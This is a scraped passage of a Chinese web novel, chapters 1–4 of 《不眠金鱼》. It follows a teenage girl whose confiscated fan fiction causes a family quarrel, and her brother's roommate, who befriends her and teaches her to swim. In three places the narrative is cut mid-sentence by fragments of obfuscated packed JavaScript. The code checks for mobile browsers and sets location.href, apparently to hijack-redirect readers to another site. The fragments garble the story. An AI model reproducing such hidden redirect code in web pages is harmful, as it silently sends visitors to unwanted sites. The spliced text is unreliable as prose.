《不眠金鱼》 1. 第 1 章 九岁那年,葛思宁上三年级,开始学习如何写作文。 她在语文这个学科上没什么天赋,共情能力也不太好,经常和课本里老师说得潸然泪下的文章大眼瞪小眼。 班主任不止一次和她爸爸反映过这个问题了。 上了三年级以后,葛思宁的语言组织能力败露无疑,写的作文经常被老师画红线、打问号,问她这句话和上一段有什么关联。 最过分的一次,语文老师给的评语是:这是你做梦写的梦话吗? 对此,爸爸的对策是,给葛思宁买一个日记本。 从记录自己的日常开始,慢慢培养起语言能力。 葛思宁写了大概有两年。 五年级,班上开始出现言情小说,女孩们早熟地开始追星、讨论自己的理想型,并且自以为瞒天过海地改变自己的外表,但不限于买各种发饰、套荧光色的鞋带、在老师看不见的地方偷偷解下红领巾。 好朋友问葛思宁,你想过你以后的男朋友会是什么类型的吗? 葛思宁说不知道。 晚上回到家写完作业,她把这个对话写进日记本里。 20xx年x月x日 [……我想要的男朋友……] 一个人的时候,葛思宁才能够静下心来思考问题。 她慢吞吞地想了很久,视线从墙壁贴着的exo海报转移到桌子上的tfboys小卡上。 在行星饭大战四叶草的那个年代,她就是如此花心地喜欢着每一个好看的男人,从而游离在战争边缘,哪里战火纷飞,就在哪里撤退——班上女生讨论谁,她就附和谁,从不明显表露喜恶。 以至于同学们总是说她无欲无求,予取予求。 想到这个日记本会不定时被家长抽查,葛思宁虚伪地写。 [我希望他是个普通人,不需要很帅,不需要很有钱,但是要有上进心。要像爸爸对妈妈那样好,也要像哥哥那样……额,还是不要像哥哥了,非要像的话就像他的成绩吧,其他就算了。] [总之,我希望他体贴、温柔、善解人意,还能一直喜欢我。] - 十五岁的夏天和二十岁的夏天一样热。 初三这一年,葛思宁既不喜欢exo,也不喜欢tf家族了。 她开始疯狂地迷恋男男小说。 也不知道谁开的头,谁搞来的盗版书,总之传阅开来以后,班上几乎一半的女生都陷入了疯狂,经常在阅读的时候发出不同于以往的魔性笑声,一改从前浏览言情小说时情窦初开的羞涩。 这个潘多拉魔盒般的题材仿佛一把解放天性的钥匙,解开了少女们在烦闷求学的长河里不得疏解的内心,以及被家长避如蛇蝎的青春期情感需求。 有比较大胆放肆的,甚至会开始yy班上的一些男生,通过他们口无遮拦的语言和兄友弟恭的行为来进行同人创作——当然,都是挑长得还不错的,最好还是成绩好的。 学校是小型社会,班级则是微型巢穴,稍有风吹草动都逃不过班主任的眼睛,更遑论对方已经私底下侦查班上这股奇异的风气,和少女们诡异的笑容很久了。 枪打出头鸟,葛思宁就是那只出头鸟。 得益于她爸小时候给她打的地基,她升上初中以后语文成绩得到了质的提升,尤其是作文,每逢月考必会被科组长打印出来在各班传阅,她也由此成为了语文老师心尖上的命根子。 语感有了,成就感也有了,这门科目对于葛思宁来说可谓不费吹灰之力。 于是她开始骄傲了,开始躁动了,开始假装听课做笔记,实则在进行个人创作了。 这个世界上最恐怖的事情,或许就是你在干坏事,结果课桌上方出现一只手。 她绣蕾丝边、贴浮雕贴纸的漂亮笔记本不是第一次被拿走了,只是传阅对象从同学变成了老师,最后被沉寂于她妈的爱马仕里。 ——任何事情只要涉及到她妈,她就吃不了兜着走。 中考完的那个暑假,一代文豪就此陨落。 葛思宁的高中录取通知书还没下来之前,她一直被关在家里。 等到确认考上了重点以后,她妈才给了她爸“口谕”,大赦葛思宁。 葛思宁却开始闹情绪。 葛天舒女士一点也不惯着她,见她有台阶不下,直接带着丈夫和儿子出门旅游,还疯狂地在家庭群里发出行照片,并艾特葛思宁:偶遇你最喜欢的明星在这边开演唱会[耶]。 葛思宁装死,每天躺在床上流泪,短短四十八小时在日记本里写了十页关于原生家庭的伤痛。 大家长不在,她放肆熬夜,捱了个通宵,最后被楼下的人声吵醒。 “第一次来,也不知道叔叔阿姨喜欢什么,就拿了一点水果,是我从老家拿过来的特产,不嫌弃的话请收下。” “哎呀,芒果啊,正好我们家里人都喜欢吃。你有心了,朝越去去去,切两个给你爸尝尝。” “叔叔阿姨不嫌弃就好。” “怎么会嫌弃?你来就来了,还带东西,我们高兴还来不及。” …… 葛思宁用枕头蒙住头,眼睛困得跟用胶水黏起来了一样,头也痛得快要裂开,但是脑子却在慢慢开机。 应该是来客人了。 她还在生父母的气,很难不迁怒他们的朋友。 于是在心里大骂了一声“操”,并且在葛朝越在厨房里发出乒铃乓啷的声音的时候,尖叫了几秒。 他们家住的复式有些年头了,隔音做的一般,葛思宁保证她的这声尖叫能够让楼下所有人听见。 当然,她也克制了一下。 毕竟她还是很害怕她妈揍她的。 所以当楼下一瞬间陷入安静的时候,葛思宁紧张地坐了起来。 她贴着门听,越听越害怕,扭开门锁,偷偷打开一条缝。 偏移楼梯的客厅处隐约传来动静,她伸长了脖子,确认他们只是挪了地方,而不是被自己的尖叫所震慑,才憋着一股气重新钻回被子里。 哒。 水果刀预判错了位置,不过还是切到了果肉上。 葛朝越没忍住尝了一块,夸道:“你这芒果真不错,肉多核薄,我才削了两个就装满一个碗了。” 江译白笑了一声,表情略带得意:“那是。也不看我都坐火车了,还扛一箱回学校。如果不好吃,哪里用得着费这劲?” “嘁。”葛朝越最看不惯他这幅嘚瑟劲,洗完刀和手,就要端出去。 江译白卡住他,“诶。” “怎么?” 好友脸色古怪地看了眼天花板。 葛朝越会心一笑,眼神挑衅:“干嘛,想打退堂鼓啊?我告诉你,没门。” “来之前我就跟你说过了,我们家这位可是只小怪兽,吐火打雷都不在话下。不然我妈也不可能开这么高的工资。” 他边说边走,江译白跟在他身后。 客厅没人。大概是觉得天气好,葛家父母一个站在院子里一个坐在亭下,隔着落地窗看见他两过来,王远意朝他们招了招手,示意他们出来。 葛朝越点点头。 他在客厅里找水果专用的小叉子,一边翻箱倒柜,一边不忘恐吓江译白。 他嗓门洪亮,楼上听得到。 “这小丫头一天到晚的不知道在想什么,我爸好不容易说服了我妈给她买手机,结果她天天在网上看这些东西……之前邻居还夸她写的诗好呢,劝我父母以后让她学文……这件事情一出来,我看学文只会害了她……” 那道陌生的声音含笑,“有这么严重?” “超级——严重。” “你都不知道我那天爸妈从学校回来是什么脸色,感觉就像两朵能拧出墨汁的乌云。” 咔嚓。 门锁开了。 葛朝越在拆塑料叉子的包装袋,嘴巴里滔滔不绝:“她们班主任都懒得说了,直接把那小鬼写的‘世界名著’拿给家长看,我后来也看了,我也不知道怎么说。你知道哥在大学里面是多么云淡风轻的一个人,然而在我妹的这些文字里,我就像从来没读过书的乡巴佬一样,突然就不识字了……” 噔噔噔—— 他话茬突然停了。 江译白听得正起劲呢,葛朝越突然不说了,他头微抬,问了句:“怎么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267282|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >葛朝越往后抬抬下巴,一脸轻蔑和调侃,“小神兽来了。” 江译白扭头的瞬间,被突然出现在楼梯口并且下一秒就扑过来的红眼少女吓了一跳的同时,耳膜还遭受了巨大的打击。 “葛!朝!越!” “你想干嘛?啊——” 葛思宁上来就想掐死他。 而她也确实这么做了。 她推翻了葛朝越。坐在他肚子上,双手紧紧地拧着他的脖子。 她光顾着“修理”大嘴巴哥哥,完全无暇理会旁边素未谋面的年轻男人,也没有一点好奇对方身份的意思,只专注地要置这个揭自己短且添油加醋的手足于死地。 然而只要细看,就会发现她整个人都在抖。 葛思宁不是不在意。 她只是觉得在意没用。 她的脸已经在她还没出现之前,就已经被葛朝越丢完了。 “诶诶诶——” 那人急得直叫,葛朝越被她掐得咳嗽,脸都憋红了。 外面的父母看见动静,连忙跑进来。 “葛思宁!” 妈妈的一声怒吼和爸爸的桎梏,让愤怒的少女停下了动作。 “你干什么!” 一把两人分开,葛天舒就狠狠地推了葛思宁一下。 她早就不爽葛思宁很久了,新账旧账一起发作。 “你哥哥做了什么事情惹你这么生气!?家里还有客人在,你都敢做这种事,我看现在这个家是让你做主了!” 葛朝越被松开,倒在地上,江译白皱着眉伸手拉了他一把。 “没事吧?” “……没事……咳咳……咳咳咳咳……” 江译白拍拍他背,“你说你也真是的,一个小孩也能把你弄成这样。” 葛朝越两眼发黑,“你真是闲着说话不腰疼,她这是突袭,而且还下死手,我怎么来得及反应?” 江译白懒得说了,安抚好葛朝越的呼吸,整个客厅里回荡着葛天舒和王远意训斥的声音。 葛思宁是气急了跑下来了,头发乱得像个鸡窝,鞋也没穿。 睡裙下,两节结实的小腿紧绷着站立。 她的眼泪大颗大颗地从脸上滚下来,脑门上就写着四个大字,我不服气。 葛朝越摇摇头,摸着自己被掐得还有一圈指痕的脖子,用不大不小正正好能被葛思宁听到的声音说:“家门不幸哦。” 葛思宁一点就着,又想冲过来打他。 一直沉默的王远意这时也火了,吼了一声:“你给我站好!” 葛天舒已经去找鸡毛掸子了。 切好的芒果已经开始微微氧化,不吃白不吃,葛朝越分给江译白一个叉子。 江译白犹豫地问:“你不帮帮她?” “我就是帮她太多次了,才沦落到这个下场。”说罢,葛朝越又咳嗽了一声,“你看她在我爸妈面前跟鹌鹑似的,别说动手了,她敢动嘴么?” “她也就敢欺负我了。” 闻言,江译白也不好多说什么。 这毕竟是葛家的家事。 他们说的这些话,葛思宁全部都听得见。 十五岁的大脑尚未发育完全,能用的地方都不知道有没有一截小拇指大,其余的部分都被情绪占据。 葛天舒紧紧地攥着鸡毛掸子问她知道错没有。 葛思宁牙都咬碎了,紧抿着唇,无声地哭泣。 远远地,她瞪着那个让她丢脸丢到家、还有心情吃芒果的罪魁祸首。 像是想用眼神,将葛朝越杀穿。 她很刻意地在忽略哥哥旁边的那个人。 ——因为只要没看清这个人的脸,他们就不算认识。 如果还有下次见面,她还可以装作没见过他,装作他不知道自己被老师没收同人文的事迹,立一下文艺小妞的人设。 少女如此自欺欺人着。 可年少琐事总是尽不如人意。 江译白黑白分明的瞳仁,穿越她爸宽阔的背脊,跨过她妈瘦削的肩膀,射透沙发、柜子、盆栽、花瓶,还是和她的泪眼对视上了。 所有的故事,都从那一天开始。 2. 第 2 章 十五岁的夏天,葛思宁感觉自己像在荒野里奔跑的一头野猪。 之所以在荒野,是因为她的心灵世界里空无一人。 至于野猪,则是她将自己与其他同龄的漂亮女生区分开来的标签。 她正在发育,在饮食上除了填饱肚子不想别的,体重管理这个概念还没有植入她的认知,也可以说她不在意。 而醉心于创作又要兼顾学习的日常已经挤满了她的生活,对于小说家来说,外表是不值一提的。她坚信才华可以美化一切。 所以,那时候站在江译白面前的她,虽然不至于肥胖,但是臃肿。因为连续的熬夜和激素原因,脸上还堆着几颗即将成熟的痘痘,分布在没有刘海遮挡的两颊上。再往上一点,还能找到几点黯淡的雀斑。 如果换个情景,她在别的地方、别的时间碰到他,葛思宁一定不会自卑。 但此时,她刚在小说“事业”上遭遇打击,产生了自我怀疑的同时,还被父母耳提面命地责骂了一通。 他扶了她哥哥一把,葛思宁猜测他应该是葛朝越的朋友。 丢脸透顶。 她哭红的脸掩盖住了心里浮动的浪潮,她以为这阵悸动和难受是落日时的潮汐,然而过了很久以后,葛思宁才明白,是月出的征兆。 当时是怎么收场的呢? 没有人理她。 葛天舒没有真的打她,王远意也没有再说重话。 她不知道是因为有客人来了,还是因为她的倔强打败了父母。 那天晚上葛朝越上来叫她吃饭,她把自己蒙在被子里流汗。 门外传来一声高高的叹息,葛朝越无奈地说:“唉,算了,她饿了就会想通了。” 他在跟谁说话? 葛思宁心里一跳,很快听到那道陌生的声音。 “小孩子闹脾气,你要多顺着她点。再给她几个台阶下。” “我还要怎么顺着她?你但凡在我家住过一段时间,就会知道我有多宠这个死小鬼,我都快给她当孙子了……” 那人声音含笑,“我不信。” 葛朝越气急,总不能自证,毕竟今天葛思宁真的有点把他惹毛了。他嘴上不说,心里还是很伤心妹妹下这么狠的手的。 楼道里,交谈声远去,葛思宁的汗滴进眼眶里,辣辣的。 她心想,什么叫饿了就会想通了?她又不是饭桶! 还有,什么叫‘小孩子’? 她的愤怒在他们眼里看来,原来只是闹脾气而已? 根本没有人懂她! 她好孤独。 那天她什么也没吃,竟然也不觉得饿。可能是气饱了。 不过睡到半夜,又灰溜溜地跑下去找东西吃。 看到电视在发光,她吓了一跳,跟坐在沙发和茶几之间的江译白打了个照面。 他在这里留宿了。 葛思宁的第一反应是这个。 她哥好朋友不少,也经常往家里带,这并不是什么值得意外的事情。 是她心情敏感,又正值脆弱时刻。 在陌生人面前丢了面子,想要缓解尴尬要么就找回场子,要么就只能忽视他的存在。 葛思宁想假装没看见的,但是江译白说话了。 他似乎一点也不意外她的出现,反而主动和她解释为什么这么晚了,他还会出现在这里:“我和你哥在看球赛。吵到你了?” “……没有。” 葛思宁抓着扶手,想往饭厅走。 她心里期待着家人会给她留菜,结果还没走下最后一节阶梯,葛朝越就端着盛着泡面的小锅,嘶哈嘶哈说着烫烫烫地经过她。 锅放在茶几上,他又折回来拿碗筷。 完全把葛思宁当透明人。 葛思宁眼眶一红,在纠结是自己去煮一包泡面还是直接回房间,而纠结的标准是哪种做法会显得自己更有骨气,更能报复家人。 还没纠结出来,她的肚子就响了。 她脸上一热,选了回房间,但是江译白叫住了她。 “妹妹,过来过来。” 葛思宁回头,迁怒地想谁是你妹妹?但是真的回头和他对视以后,话又堵在喉口说不出来了。 因为江译白长得很像她最喜欢的那个男明星。 她有点害羞,站着不肯动。 江译白见她沉默,张张嘴,也不知道该说什么了。 他心里是有点害怕的,毕竟葛朝越说她是炮仗,一点就着。而且今天发生的事也让他目睹了葛思宁的威力。他害怕自己不小心踩到了葛思宁的尾巴,闹出什么动静,给葛天舒和王远意留下什么不好的印象。 好在僵持没多久,葛朝越就捧着碗筷回来了。 三个碗。 “愣着干什么?还要我请你啊?”他睨了一眼葛思宁,“筷子自己拿。” 葛思宁吸吸鼻子,哽意压在胸口,被饿意打败。 她去拿筷子的时候葛朝越偏头和江译白说,“就得这么治她。学着点,不然接下来有你好受的。” 江译白揽着他的肩膀看他分面,锅里明明有很多,但是葛朝越分得很吝啬。他撞了下葛朝越,故意问:“这么点你喂狗啊?” “啧,你刚不是说你不饿吗。” “那我都说我不饿了你还煮那么多?” 葛朝越还想说什么,葛思宁过来了,他立马闭嘴,换上一张冷脸:“待会你洗碗啊。” 葛思宁一言不发,见他们分完,直接把锅端走了,坐到沙发的另一端去吃。 江译白还想捞一点汤,见状,手愣在那里有点尴尬。 这对兄妹还真是。 吃完的时候球赛刚好结束,江译白睡葛朝越旁边的客房,在葛思宁对面。 他说完晚安就进去了,葛朝越也准备回房,结果衣服被人从后面扯住。 “干嘛?”他好没气,“再动手我真不客气了。” 葛思宁小声问:“他什么时候走?” 她还不知道爸妈的决定,葛朝越眼珠一转,想逗逗她:“不走啊。这个暑假一直住我们家。” “为什么?他是谁啊?” “妈在外面的私生子。” 葛思宁一巴掌打在他的胳膊上,葛朝越龇牙咧嘴地说:“大学室友!大学室友!行了没?我真服了……你手劲怎么这么大?” 葛思宁砰地一声关上了门。 葛朝越吃了一脸灰,喃喃道:“这狗脾气也不知道随谁……” 第二天起床吃早饭的时候,江译白果然在。 葛思宁是在二楼的落地窗上看见他的,他在帮她爸给院子里的花浇水。两个人站在一起相谈甚欢的样子。 没一会儿她妈的车就从门口出现了,江译白朝车窗招招手,示意再见。 扭过头,王远意又不知道说了什么,江译白静静地听着。 又过了一会儿,王远意先进去了,江译白留下来继续浇水。 葛思宁看着那人穿着一件白色短袖站在曦光下,突然想,他如果真的是明星的话,把这一幕做成小卡应该很贵。 日光炫目,他不知道是想看太阳还是有所感应,突然扭头往她所在的方位看了一眼。 其实这个角度是看不见室内的。 只是葛思宁欲盖弥彰,突然刷地拉上了窗帘。 江译白愣了愣,唇角扯出一个无奈的笑容来。 葛朝越睡到中午才起来,他看见江译白坐在客厅和他爸下棋,经过冰箱拿了瓶冰可乐,顺便过去观战。 他问:“葛思宁呢?” “楼上。” “不是说上课?” 江译白看了他一眼,是种暗示。 王远意开口:“昨天闹了一场,她估计没心思学习。先让她玩几天吧。” 葛朝越冷笑:“玩来玩去暑假就过去了。” 不上课,江译白在家里也没事做,葛朝越带他出门打篮球。 投篮的时候,葛朝越说:“你要不争取一下,毕竟不上课你就没钱拿,我觉得我妈不会让你白拿工资。” 江译白玩笑道:“那我陪陪你不也挺好?” “你少恶心我。”葛朝越做了个呕吐的表情,“其实我还不是怕葛思宁心情一直不好,一直不肯上课。到时候让你放暑假还大老远跑来这边,开学分币不赚地回去,我良心不安啊。” 江译白想了想,觉得他说得对。 “那有什么办法?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267283|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 葛朝越叹气,“哄呗。” 还能有什么办法。 - 葛天舒不在家,葛思宁放肆地闹脾气,不肯下来吃饭。 王远意也顺着她,让阿姨端上去,吃完了还要阿姨端下来。 葛朝越看得龇牙咧嘴,跟江译白吐槽,“我小时候可不敢这样,我一顶嘴我爸就抽我。” 有时候他也会想王远意是不是重女轻男。 江译白没接话,在削芒果,切了满满一碗,还摆了盘,递给葛朝越。 葛朝越张嘴就吃。 江译白“嘶”了一声。 “拿上去给你妹。” “操。我就说你无事献殷勤,原来殷勤不是献我的。” 江译白也不恼,“那你跟你爸妈说让我给你补课怎么样?大学课程按高中收费,怎么想都是你赚了。” 葛朝越:“滚滚滚,奸商。” 他才不干:“要送你自己送。那是你的摇钱树,又不是我的。” 一节课两小时,五百块。 如果不是葛朝越不会教人,他也想亲自上阵。 放暑假之前江译白就在找工作,葛朝越问了他一嘴,他欣然应允。不过他还是得回家一趟,处理点事。 江译白见他不肯帮,也没多说什么,端着盘子就上去了。 他站在葛思宁门前,敲了敲。 意外地,很快就开了。 但只有一条缝。 宽度刚刚好装下葛思宁的眼睛。 “芒果,”他说,“你昨天没吃到,要不要尝尝?很甜。” 说到昨天,葛思宁就好像被架在火上烤。 她犹豫了一会儿,是在想怎么反应才显得自己体面。思考了大约一分钟,她才伸手来接。 江译白递进去了,递的时候还调整了角度,没有要求她把门缝拉大点。 如果是葛朝越,肯定说她防人跟防贼一样了。 “你吃完了可以放在门口,我待会上来拿。”他如是说。 葛思宁端着盘子,悄悄从门缝里看他下楼。 - 傍晚他们要去游泳,葛朝越死活要抓她一起去。 葛思宁尖叫着说不去不去,“我又不会!” “不会才更要学!” 一台电动车,葛朝越让她坐前面。 江译白坐在座椅上,听着两兄妹吵架。 “我都多大了我还坐前面!” “没事的,你是小孩,你还怕丢脸啊?” “我不要、不要!” 说到最后葛思宁都快哭了。 坐前面就算了,车还是江译白开,她接受不了自己蹲在一个陌生男人的裆.下,虽然这个男人看起来没什么异味,但她害怕被熟人撞见。 葛朝越拿她没办法,但家里也没有别的车了,这里到游泳馆的距离属于是开车不远,走路不近。 总不能两公里的路还要开汽车去吧? 他还想再说点什么说服葛思宁,结果江译白拉了拉她的手指,温柔道:“上车。” 葛思宁看他。 许是有泡面和芒果的基础在,她对他产生了一丝信任,坐上了后座。 葛朝越头痛:“哥们,你不会想让我坐前面吧?” 江译白踢开脚踏,钥匙一扭,直接开走了。 “你跑步吧。”他说。 后面传来一声带着回响的国粹,有几个路过的人诧异回头,葛思宁收回视线,心情突然就好起来了。 看她哥吃瘪是她的娱乐之一。 夏季天黑得晚,傍晚的风依旧裹挟着燥热,去游泳馆的路上有一个陡坡,江译白对她说:“坐的稳吗?不行就抓我的衣服。” 葛思宁心想,那不就是他的腰? 她不敢。 她摇摇头,发丝荡过他的短袖,轻轻的,没有重量。手抓住后座座椅的底部,指甲都快抠进去了。 江译白坐在前面,没有感觉到她的抓力,不知道怎么就笑了一声。 葛思宁恼羞成怒,他却说:“是不是因为还不熟?” 她没听懂,“嗯?” 江译白却没再重复了。 “我教你游泳好不好?” 3. 第 3 章 葛朝越到的时候在场馆里面找了半天,没看到江译白人,打电话过去才知道,他陪着葛思宁到儿童池去了。 他嘴上说了句“稀罕”,看着信息挪地方。 到的时候都不用找,葛思宁被江译白托着用手臂拍打水面。那场面实在惊世骇俗,惹得周围好几个被教练带着的小朋友在好奇观看。 葛朝越蹲在岸边,哈哈大笑:“你这力气可以啊,一百多斤都能扛得起来。” 葛思宁见他过来的时候就开始装死了,江译白以为她累了,或是气馁了,还说了几句安慰的话:“再试试?第一次浮不起来很正常。” “……我不是第一次游了。” 他们一家人都喜欢运动,除了葛思宁。 游泳馆她来过很多次,就是因为学不会,所以才不喜欢来。 而且,葛思宁不喜欢穿泳衣。 她不觉得自己胖。 但是别人觉得。 平时穿着衣服还好,这会儿布料少了,目光就多了。 也可能是她敏感,露胳膊露腿的不好意思,总觉得别人在看她,然后议论她。 葛天舒和葛朝越平时在家里说的那些奚落话她都装聋,但不是没打听到,总在她不安的时候涌上心头。 所以这会儿被葛朝越在江译白面前一说,葛思宁顿时气得浑身的刺都竖起来了,挣扎着要从江译白的手掌心下逃脱。 江译白根本没听到葛朝越说了什么,他满心满眼都是葛思宁的动作和幅度。 要教就得教会,这是他的责任感。 所以葛思宁突然一闹,他慌了神。 一个没注意,葛思宁就滑着掉下去了,呛了好几口水。 葛朝越还笑得出来:“在儿童池你都能溺水?哈哈哈哈,葛思宁,你真是旱鸭子。” 江译白听得皱眉,一边伸手去捞她,一边说:“我终于知道你妹为什么不想来了。” 也知道她为什么想掐死你了。 葛朝越耸耸肩,一脸无所谓,葛思宁被捞上来的时候,他伸手扶了一把。 葛思宁好不容易睁开眼,看见握住自己的人是他,马上松手。 “诶——” 葛朝越奇了怪了,葛思宁爬上岸就走。 江译白服了:“好不容易哄她下水,你看你干得好事。” 他追了上去。 旁边的小孩说:“这么大了还不会游泳,羞羞脸!” 葛朝越恶狠狠地回头:“关你什么事?” 小孩吓得往教练身上爬,游泳教练说:“兄弟,要不给你家孩子报个班吧。” 葛朝越横眉冷对:“我看起来老得像她爸?” 葛思宁上了岸,一把扯下泳镜泳帽,往更衣室走。 她咬着牙,心里受了许多委屈:有一直浮不起来的挫败、江译白很耐心但是她就是把握不到要领的恼羞成怒,还有旁边小孩似乎在看她笑话的羞赧……葛朝越对她身材的嘲讽是压死她的最后一根稻草。 场馆的瓷砖地很滑,她听到江译白在后面叫她的名字,想逃跑的心情更迫切了,于是差点摔了一跤。 这个‘差点’可不得了,直接让她本就不堪重负的小心脏破碎了。 等走到更衣室的男女分叉口,眼泪已经流了满面。 这地方可跑不得,江译白好不容易追上她,紧张还没落地,性急之下一把攥住了她的手腕。 把人扭过来,才发现她哭了。 “怎么了?”他有些诧异,“你哥说你,你不开心了?” 葛思宁咬着嘴唇不说话,脸都憋红了,眼泪一个劲地往外冒。 她也不知道自己怎么了,就是很委屈,比以往每一次被葛朝越捉弄都要委屈。 可能是因为她好不容易决定再次尝试游泳,却失败了。 可能是她突然意识到自己很清高,说不在乎体重,却在乎别人的目光。 也可能是,两天之内在江译白面前丢了很多脸。 她知道自己现在哭起来一定很丑。 她问:“我是不是很蠢?” 江译白说:“没有。” “有。”葛思宁不信,“你心里肯定这样想!” 他笑了一下,很放松的,像是一种引导:“真没有。我以前不会游泳的时候别说儿童池了,连在澡堂都能呛几口。我爸花了很长时间才教会我。” “那时候你几岁?” 他也不骗人,“四五岁吧。” 葛思宁抽噎一下,“可我都十五岁了。” “这有什么?”江译白一脸无所谓,“很多人到现在都不会游泳呢,不肯学,懒得学,就永远不会。你学自行车难道没有摔过?都是过程而已。” 她不想和差的比。 照他这样说,那这个世界上还有很多一学就会的人呢! 葛思宁哭的频率变慢了,但是还是很伤心。 其实,江译白能来找她,她心里有一点安慰。 换做葛朝越,肯定觉得她走了就走了,待会自己会回来。 但是也是因为他来找了,所以葛思宁心情更复杂,也更委屈了。 没见过这么爱哭的小孩。 江译白脸上挂着温和,也没不耐烦,伸手擦了擦她糊了一脸的眼泪。 “很难过吗?” “你指什么?” “你哥的话。” 葛思宁坦白,“不至于,那个贱人狗嘴里吐不出象牙。” 江译白哈哈两声,真情实感的,“我也觉得。” 他站在她这边。 尽管他是葛朝越的朋友,不是葛思宁的。 葛思宁沉默了,看着他这张帅脸,心情慢慢平复下来。 等她缓了缓,江译白才继续循循善诱:“那其实是难过什么?” 她小声说:“我学不会。” “学会了你还哭吗?” 葛思宁说:“会高兴。” 江译白点头,“还会有成就感。” “那你想接着游吗?” “……今天不想了。” 江译白说好。 “那就明天再来,好吗?” 葛思宁犹豫了一会儿,点了点头。 江译白拍拍她的肩膀,“现在进去换衣服。” “嗯?” “我带你回去。” 葛思宁瞪大眼,“不管葛朝越了?” “本来就没打算载他。” 葛思宁爽了。 刚到家门口停好车,江译白就收到葛朝越的信息。 “哥们去哪了?去找个小孩人都不见了?” “她还在伤心吗?” 王远意听到动静,从厨房里探出头,看到葛思宁和江译白两个人,愣了下,说:“回来了。准备吃饭了,你妈今晚加班,不用等。” 葛思宁乐呵呵地说了句“好嘞”,上楼冲澡去了。 王远意更稀奇了,少见她跟她哥出门还笑着回家的。 江译白一边回信息一边帮王远意摆碗筷。 “我们已经回去了。” 葛朝越:??? 葛朝越:你他妈。 江译白:你知道你妹会伤心,你还这样说她? 葛朝越:…… 葛朝越:逗她玩嘛。 江译白:犯贱。 葛朝越:别骂了,知道错了。我现在回来,给她带奶茶。 他到家的时候其他人都已经吃上饭了,王远意见他进门,什么也没问。用脚趾头想都知道兄妹两肯定闹矛盾了,于是凉飕飕地说了句:“回来了?吃饭。” 葛朝越应了一声,把打车去买的奶茶跟献宝似的拎到葛思宁面前:“喏,给你的赔礼。” 葛思宁看也不看,更别说谢谢,径直扒饭。 葛朝越知道她什么德行,也不指望她谢。 他去盛饭,坐回去的时候葛思宁已经吃完了。他惊叹:“今天吃这么快?” 王远意则问:“怎么吃这么少?” 葛思宁咚咚咚跑上楼:“减肥!” 葛朝越呵呵道:“死丫头撞邪了?”全然忘记自己说过的那些打击人的话。 第二天一到傍晚,闭门不出的葛思宁居然主动下来了。 王远意诧异地问:“你要去游泳馆?” “对。” 她坐上江译白的后座,对气急败坏地说“这是我的车”的葛朝越视而不见,还催促江译白快点走。 王远意说:“那早点回来啊。” “放心叔叔。”江译白接过话。 就这样连着去了好几天,有一天晚上葛思宁雄赳赳气昂昂地进门,张嘴就是:“我学会游泳了!”语气里不乏得意。 带着轻蔑的一道女音回应她:“这么厉害?” 是她妈,葛天舒女士。隔三差五加班、出差的人,今天居然这么早回家,正坐在沙发上看杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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葛思宁第一次这么期待他回来,因为葛朝越在的话肯定会替江译白说话,再不济也会化解尴尬。 除了他,这个家没有人敢反驳葛天舒,也没有人想。 吃饱了,江译白问她要不要出去散散步。 “刚才见你在饭桌上好像不太开心。”他逗她,“不是说学会了游泳就开心了吗?” 葛思宁说:“本来很开心的。” 如果葛天舒不在家,王远意可能还会就这件事奖励她。 因为王远意知道葛思宁能学会游泳,是很不容易的事。 葛天舒虽然也知道,但是她不能理解。 毕竟游泳是一项无关要紧,也没什么太大用处的技能。 她认为葛思宁掌握是理所当然的。 而掌握的过程如此坎坷,才是令人意外的。 江译白没问为什么,朝她伸出手。 “走吧。” “去哪?” “去找你哥。” “啊?” “他跟他朋友在那边烧烤,叫我们过去。” 才吃完饭,烧烤其实已经吃不下了。 葛思宁看着他的眼睛,知道他心如明镜。 江译白看出她不是很想呆在有葛天舒的家里。 “走路去?” “嗯,不是很远。” 葛思宁看着他的手心,突然想起他在水里托住自己的感觉。 温热宽大,稳稳的,让她在她害怕的地方有了可以依赖的陆地。 她心里一动,不知道该不该牵上去。 脚步却已经迈出去了。 江译白见她表现出想去,便收回了手。 原来不是为了牵她,只是种邀请。 葛思宁的勇气鼓到一半,手也抬到一半。 江译白走在前面,偶尔回头看她有没有跟上来。 他问:“怕黑吗?” 她原本不怕的,但是不知道为什么说谎了。 她说,“怕。” 说完心就快速地跳起来,似乎是在期待他会再次伸出手。 可江译白只是说,“那你离我近一点。跟紧我。” 不是她想要的答案,葛思宁却没有很失落。 她说好,没有牵上的那只手垂在身侧,攥着自己的短袖下摆。 她听到自己的心跳声,特别快,像打雷。 4. 第 4 章 我要把他写进小说里。 葛思宁这样想。 虽然经历过抓包事件之后,她对创作事业短暂地产生了抵触。细细想来,原因比起羞耻更多的是恐惧。 后来她只要一拿起笔,就会想起葛天舒的脸,还有她的话。 葛思宁甚至想过,以后都不写了,再也不写了,没意义的。 然而文字会像鬼一样缠上每一个为它着迷过的人。 暑假里每一个燥热的夏夜,葛思宁躺在床上,都会被创作的欲.望折磨得浑身发冷,唯有大脑是滚烫的,一颗心翻来覆去,催促她坐起来,做起来。 她告诫自己不行。 小时候葛天舒为哪件事打过她的手心,她就永远不会再做那件事。 